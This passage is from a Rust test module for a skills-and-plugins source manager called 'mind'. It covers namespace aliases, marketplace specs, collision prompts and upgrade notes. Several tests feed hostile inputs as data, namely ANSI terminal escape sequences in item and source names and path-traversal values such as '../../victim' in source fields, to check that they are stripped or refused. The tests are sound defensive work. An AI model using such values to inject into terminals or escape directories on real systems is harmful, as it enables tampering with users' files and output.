std::fs::write(dir.join("mind.toml"), "[source]\nprefix = \"tomlpfx\"\n").unwrap();
let mut src = crate::source::parse_spec(&dir.to_string_lossy()).unwrap();
src.alias = Some(String::new()); let registry = crate::source::Registry { sources: vec![src] };
assert_eq!(
dest_source_prefix(&dir, ®istry),
Some("tomlpfx".to_string()),
"an empty alias must not suppress the mind.toml prefix"
);
let _ = std::fs::remove_dir_all(&dir);
}
fn ns_paths() -> (Paths, PathBuf) {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-ns-set-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&base);
let paths = Paths {
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
(paths, base)
}
fn seed_source(paths: &Paths, repo: &str, alias: Option<&str>) -> String {
let mut src = crate::source::parse_spec(&format!("github:acme/{repo}")).unwrap();
src.apply_alias(alias.map(|s| s.to_string()));
let name = src.name.clone();
let registry = crate::source::Registry { sources: vec![src] };
registry.save(paths).expect("save registry");
name
}
fn seed_installed_item(paths: &Paths, source: &str, kind: ItemKind, name: &str) {
let mut manifest = Manifest::load(paths).expect("load manifest");
manifest.insert(InstalledItem {
kind,
name: name.to_string(),
bare_name: name.to_string(),
source: source.to_string(),
commit: "deadbeef".to_string(),
hash: "abc123".to_string(),
store: format!("store/{name}"),
links: vec![],
description: None,
install_hooks: Vec::new(),
dropped_requires: Vec::new(),
profiles: Vec::new(),
explicit: false,
version: None,
});
manifest.save(paths).expect("save manifest");
}
#[test]
fn set_source_namespace_source_not_found_is_noop() {
let (paths, base) = ns_paths();
seed_source(&paths, "agents", None);
let r = set_source_namespace(&paths, "github.com/nope/missing", Some("jk".into()));
assert!(r.is_ok(), "unknown source must be a no-op Ok: {r:?}");
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias, None, "no alias should be written");
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_locked_when_items_installed_and_alias_differs() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
seed_installed_item(&paths, &name, ItemKind::Skill, "review");
let r = set_source_namespace(&paths, &name, Some("jk".into()));
match r {
Err(MindError::NamespaceLocked { src_name, items }) => {
assert_eq!(src_name, name);
assert!(
items.contains(&"skill:review".to_string()),
"locked error must list the installed item key: {items:?}"
);
}
other => panic!("expected NamespaceLocked, got {other:?}"),
}
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias, None,
"a locked change must not write the new alias"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_locked_message_sanitizes_installed_item_key() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
seed_installed_item(&paths, &name, ItemKind::Skill, "evil\x1b[31mname");
let r = set_source_namespace(&paths, &name, Some("jk".into()));
let msg = match r {
Err(e @ MindError::NamespaceLocked { .. }) => e.to_string(),
other => panic!("expected NamespaceLocked, got {other:?}"),
};
assert!(!msg.contains('\x1b'), "must strip raw ESC: {msg:?}");
assert!(msg.contains("evil"), "must still name the item: {msg}");
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_unchanged_alias_with_items_is_noop() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", Some("jk"));
seed_installed_item(&paths, &name, ItemKind::Skill, "jk:review");
let r = set_source_namespace(&paths, &name, Some("jk".into()));
assert!(
r.is_ok(),
"an unchanged alias must be a no-op even with items installed: {r:?}"
);
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias.as_deref(), Some("jk"));
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_allowed_and_persisted_when_no_items() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
set_source_namespace(&paths, &name, Some("jk".into())).expect("set namespace");
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias.as_deref(),
Some("jk"),
"the new alias must be persisted"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_never_sets_identity_alias() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
set_source_namespace(&paths, &name, Some("jk".into())).expect("set namespace");
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias.as_deref(),
Some("jk"),
"the display alias must change"
);
assert_eq!(
reg.sources[0].as_alias, None,
"the identity alias must stay None: a display-prefix-only change \
must never satisfy the STO-60 fork-note guard"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_empty_string_clears_consumer_prefix() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", Some("jk"));
set_source_namespace(&paths, &name, Some(String::new())).expect("clear namespace");
let reg = Registry::load(&paths).unwrap();
assert_eq!(
reg.sources[0].alias.as_deref(),
Some(""),
"empty string override must persist as Some(\"\")"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_none_equals_empty_is_noop() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
set_source_namespace(&paths, &name, None).expect("noop");
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias, None);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn set_source_namespace_rejects_reserved_kind_word() {
let (paths, base) = ns_paths();
let name = seed_source(&paths, "agents", None);
let r = set_source_namespace(&paths, &name, Some("skill".into()));
assert!(
matches!(r, Err(MindError::ReservedPrefix { ref prefix }) if prefix == "skill"),
"a reserved kind word must be rejected: {r:?}"
);
let reg = Registry::load(&paths).unwrap();
assert_eq!(reg.sources[0].alias, None);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn origin_label_none_returns_empty() {
assert_eq!(
origin_label(None),
"",
"no origin -> empty string (no extra token)"
);
}
#[test]
fn origin_label_claude_plugin_returns_token() {
let label = origin_label(Some(ManifestOrigin::ClaudePlugin));
assert_eq!(
label, " origin:claude-plugin",
"ClaudePlugin must produce the 'origin:claude-plugin' token with leading space"
);
}
#[test]
fn origin_label_claude_marketplace_returns_token() {
let label = origin_label(Some(ManifestOrigin::ClaudeMarketplace));
assert_eq!(
label, " origin:claude-marketplace",
"ClaudeMarketplace must produce the 'origin:claude-marketplace' token with leading space"
);
}
#[test]
fn marketplace_entry_spec_external_passes_spec_through() {
let entry = plugin_manifest::MarketplaceEntry {
name: "my-plugin".to_string(),
source: plugin_manifest::PluginSource::External {
spec: "owner/my-plugin".to_string(),
},
version: None,
description: None,
skills: vec![],
};
let clone_dir = std::path::Path::new("/some/catalog/clone");
let spec = marketplace_entry_spec(&entry, clone_dir);
assert_eq!(
spec, "owner/my-plugin",
"External spec must pass through verbatim"
);
}
#[test]
fn marketplace_entry_spec_in_repo_joins_onto_clone_dir() {
let entry = plugin_manifest::MarketplaceEntry {
name: "embedded".to_string(),
source: plugin_manifest::PluginSource::InRepo {
path: "plugins/embedded".to_string(),
},
version: None,
description: None,
skills: vec![],
};
let clone_dir = std::path::Path::new("/home/user/.mind/sources/local/owner/catalog");
let spec = marketplace_entry_spec(&entry, clone_dir);
assert_eq!(
spec, "/home/user/.mind/sources/local/owner/catalog/plugins/embedded",
"InRepo spec must be clone_dir joined with the in-repo path"
);
}
#[test]
fn marketplace_entry_spec_in_repo_dotslash_prefix() {
let entry = plugin_manifest::MarketplaceEntry {
name: "p1".to_string(),
source: plugin_manifest::PluginSource::InRepo {
path: "./plugins/p1".to_string(),
},
version: None,
description: None,
skills: vec![],
};
let clone_dir = std::path::Path::new("/repo");
let spec = marketplace_entry_spec(&entry, clone_dir);
assert!(
spec.starts_with("/repo"),
"InRepo spec with ./ prefix must still be rooted inside clone_dir: {spec}"
);
}
#[test]
fn offer_save_absorb_to_yes_writes_config() {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-abs-save-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&base);
let paths = Paths {
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
assert!(
!paths.config_file().exists(),
"sanity: config.toml must not pre-exist"
);
let dest = base.join("personal");
offer_save_absorb_to(&paths, &dest, true).expect("offer_save_absorb_to");
let cfg = Config::load(&paths).expect("load config");
assert_eq!(
cfg.absorb_to.as_deref(),
Some(dest.to_string_lossy().as_ref()),
"the chosen destination must be saved as absorb_to"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn scan_one_hard_fails_where_the_registry_walk_degrades() {
let (paths, base) = ns_paths();
let gone = base.join("never-created");
let src = crate::source::parse_spec(&gone.to_string_lossy()).expect("parse local spec");
assert!(
src.is_linked(),
"sanity: a local unpinned source is linked (CLI-27), which is what \
LinkedSourceGone applies to"
);
let degraded =
catalog::scan(&paths, &single(&src)).expect("the registry walk degrades, CLI-213");
assert!(
degraded.is_empty(),
"the degraded result is indistinguishable from a healthy source with \
no items, which is exactly why a single-source caller cannot use it"
);
let err = scan_one(&paths, &src).expect_err("a single-source scan must not degrade");
assert!(
matches!(err, MindError::LinkedSourceGone { .. }),
"the vanished working tree must surface as LinkedSourceGone (with its \
`mind unmeld` remedy), got: {err:?}"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn dsc93_skips_only_a_missing_path_inside_the_managed_sources_tree() {
let (paths, base) = ns_paths();
assert_eq!(
unresolvable_managed_local_entry(&paths, "github:acme/nested"),
None,
"a remote entry must never be skipped"
);
let typo = base.join("curator-worktree").join("nested-lib");
assert_eq!(
unresolvable_managed_local_entry(&paths, &typo.to_string_lossy()),
None,
"a missing path outside the sources tree is a real error, not a skip"
);
let phantom = paths.sources_dir().join("local/owner/nested-lib");
assert_eq!(
unresolvable_managed_local_entry(&paths, &phantom.to_string_lossy()),
Some(phantom.clone()),
"a missing sibling inside mind's own sources tree is the DSC-93 case"
);
std::fs::create_dir_all(&phantom).expect("create the sibling clone dir");
assert_eq!(
unresolvable_managed_local_entry(&paths, &phantom.to_string_lossy()),
None,
"an entry that resolves to a directory that exists must be attempted"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn dsc93_classifies_every_local_spec_form_the_parser_accepts() {
let (paths, base) = ns_paths();
let phantom = paths.sources_dir().join("local/owner/nested-lib");
let file_url = format!("file://{}", phantom.display());
assert_eq!(
unresolvable_managed_local_entry(&paths, &file_url),
Some(phantom.clone()),
"the file:// spelling of a missing sources-tree path is the same case \
as the bare path"
);
let link = format!("file://{}/tree/main/skills/greet", phantom.display());
assert_eq!(
unresolvable_managed_local_entry(&paths, &link),
Some(phantom.clone()),
"a local item-link entry must be classified by its repo part"
);
assert_eq!(
unresolvable_managed_local_entry(&paths, "../nested-lib"),
None,
"a relative entry resolves against the cwd, never into the sources tree"
);
let neighbour = format!("{}-elsewhere/owner/nested", paths.sources_dir().display());
assert_eq!(
unresolvable_managed_local_entry(&paths, &neighbour),
None,
"a path whose string merely shares a prefix with the sources dir is \
not inside it"
);
std::fs::create_dir_all(phantom.parent().expect("parent")).expect("mkdir");
std::fs::write(&phantom, b"not a clone").expect("write file at the clone path");
assert_eq!(
unresolvable_managed_local_entry(&paths, &phantom.to_string_lossy()),
None,
"a path occupied by a FILE exists, so it is attempted (and fails as a \
clone error) rather than skipped"
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn collision_prompt_empty_accepts_suggested() {
match parse_collision_answer("", "myrepo") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "myrepo"),
CollisionAnswer::Abort => panic!("empty must accept suggested, not abort"),
}
match parse_collision_answer(" ", "myrepo") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "myrepo"),
CollisionAnswer::Abort => panic!("whitespace must accept suggested, not abort"),
}
}
#[test]
fn collision_prompt_dot_aborts() {
assert!(
matches!(
parse_collision_answer(".", "myrepo"),
CollisionAnswer::Abort
),
"dot must abort"
);
assert!(
matches!(
parse_collision_answer(" . ", "myrepo"),
CollisionAnswer::Abort
),
"dot with whitespace must abort"
);
}
#[test]
fn collision_prompt_custom_prefix_is_preserved() {
match parse_collision_answer("mypfx", "suggested") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "mypfx"),
CollisionAnswer::Abort => panic!("custom prefix must not abort"),
}
match parse_collision_answer(" mypfx ", "suggested") {
CollisionAnswer::Prefix(p) => assert_eq!(p, "mypfx"),
CollisionAnswer::Abort => panic!("trimmed custom prefix must not abort"),
}
}
#[test]
fn format_conflicts_display_strips_ansi_from_name_and_source() {
let conflicts = vec![(
"skill".to_string(),
"\x1b[31mreview\x1b[0m".to_string(), "\x1b[32mevil/source\x1b[0m".to_string(), )];
let out = format_conflicts_display(&conflicts);
assert!(
out.contains("skill:review"),
"bare name must appear without ANSI: {out}"
);
assert!(
out.contains("evil/source"),
"bare source must appear without ANSI: {out}"
);
assert!(
!out.contains('\x1b'),
"no ANSI escape bytes must appear in the output: {out}"
);
}
fn raw_source(host: &str, owner: &str, repo: &str) -> crate::source::Source {
crate::source::Source {
name: format!("{host}/{owner}/{repo}"),
url: "https://example.com/evil".into(),
host: host.into(),
owner: owner.into(),
repo: repo.into(),
commit: None,
description: None,
alias: None,
as_alias: None,
pin: Pin::DefaultBranch,
roots: None,
flat_skills: false,
add_roots: None,
item_path: None,
item_kind: None,
curated_by: None,
origin: None,
plugin_version: None,
install_hooks: Vec::new(),
install_hook: None,
install_hook_commit: None,
profiles: None,
profile_snapshot: None,
auto_update: None,
}
}
#[test]
fn clone_dir_checked_rejects_a_traversing_host_part() {
let (paths, base) = ns_paths();
let source = raw_source("..", "..", "victim");
let err = clone_dir_checked(&paths, &source).expect_err("traversing host must be refused");
match err {
MindError::UnsafeClonePath { identity, .. } => {
assert_eq!(identity, source.name);
}
other => panic!("expected UnsafeClonePath, got {other:?}"),
}
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn a_release_whose_mind_toml_cannot_be_fetched_counts_as_fitting() {
let (_paths, base) = ns_paths();
let not_a_repo = base.join("no-origin");
std::fs::create_dir_all(¬_a_repo).unwrap();
let init = std::process::Command::new("git")
.args(["init", "-q"])
.current_dir(¬_a_repo)
.status()
.expect("run git");
assert!(init.success());
let rel = crate::version::Release {
tag: "v1.0.0".into(),
version: crate::version::Version::parse("1.0.0").unwrap(),
commit: "0".repeat(40),
};
let url = not_a_repo.to_string_lossy().into_owned();
assert_eq!(
release_needs_newer_mind("s", &url, ¬_a_repo, true, &rel),
None
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn clone_dir_checked_rejects_a_traversing_repo_part() {
let (paths, base) = ns_paths();
let source = raw_source("github.com", "acme", "../../victim");
let err = clone_dir_checked(&paths, &source).expect_err("traversing repo must be refused");
assert_eq!(err.kind(), "unsafe-clone-path");
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn clone_dir_checked_accepts_a_well_formed_source() {
let (paths, base) = ns_paths();
let source = raw_source("github.com", "acme", "agents");
let dir = clone_dir_checked(&paths, &source).expect("well-formed source must be accepted");
assert!(
dir.starts_with(paths.sources_dir()),
"accepted clone dir must be under the sources tree: {}",
dir.display()
);
let _ = std::fs::remove_dir_all(&base);
}
#[test]
fn multi_source_upgrade_note_none_for_empty_scope() {
assert!(multi_source_upgrade_note(&[], &[]).is_none());
}
#[test]
fn multi_source_upgrade_note_none_for_single_match() {
let names = vec!["github.com/acme/skills".to_string()];
assert!(
multi_source_upgrade_note(&names, &["skills"]).is_none(),
"a single-match filter must not grow the confirmation"
);
}
#[test]
fn multi_source_upgrade_note_names_every_match_for_multi_match() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, &["skills"])
.expect("a multi-match filter must produce a naming note");
assert!(
note.contains("github.com/acme/skills"),
"note must name the first matched source: {note}"
);
assert!(
note.contains("github.com/other/skills"),
"note must name the second matched source: {note}"
);
assert!(
note.contains('2'),
"note must state the match count: {note}"
);
}
#[test]
fn multi_source_upgrade_note_echoes_the_filter_string() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, &["skills"]).expect("multi-match note");
assert!(
note.contains("skills"),
"note must echo the filter string: {note}"
);
}
#[test]
fn multi_source_upgrade_note_quotes_both_filters_when_combined() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note =
multi_source_upgrade_note(&names, &["skills#*", "*/skills"]).expect("multi-match note");
assert!(
note.contains("\"skills#*\"") && note.contains("\"*/skills\""),
"note must quote both filters: {note}"
);
}
#[test]
fn multi_source_upgrade_note_names_a_narrowing_remedy() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, &["skills"]).expect("multi-match note");
assert!(
note.contains("host/owner/repo") || note.to_lowercase().contains("narrow"),
"note must state a narrowing remedy: {note}"
);
}
#[test]
fn multi_source_upgrade_note_omits_filter_clause_when_no_filter_text() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, &[]).expect("multi-match note");
assert!(
!note.contains('"'),
"must not fabricate a quoted filter string: {note}"
);
}
#[test]
fn multi_source_upgrade_note_strips_ansi_from_source_names() {
let names = vec![
"\x1b[2Jevil".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, &[]).expect("multi-match note");
assert!(
!note.contains('\x1b'),
"ANSI escape byte must be stripped: {note:?}"
);
assert!(note.contains("evil"), "printable text must survive: {note}");
}
#[test]
fn json_confirmation_action_embeds_multi_source_note() {
let names = vec![
"github.com/acme/skills".to_string(),
"github.com/other/skills".to_string(),
];
let note = multi_source_upgrade_note(&names, &["skills"]).expect("multi-match note");
let action = json_confirmation_action(format!("applying pending upgrades ({note})"), true);
assert!(
action.contains("github.com/acme/skills"),
"action: {action}"
);
assert!(
action.contains("github.com/other/skills"),
"action: {action}"
);
assert!(
action.contains("--json is always non-interactive"),
"action must still carry the LIFE-45 --json remedy text: {action}"
);
}
#[test]
fn json_confirmation_action_unchanged_for_single_source() {
let action = json_confirmation_action("applying pending upgrades", true);
assert_eq!(
action,
"applying pending upgrades (--json is always non-interactive; --yes is the only way to proceed)"
);
}
}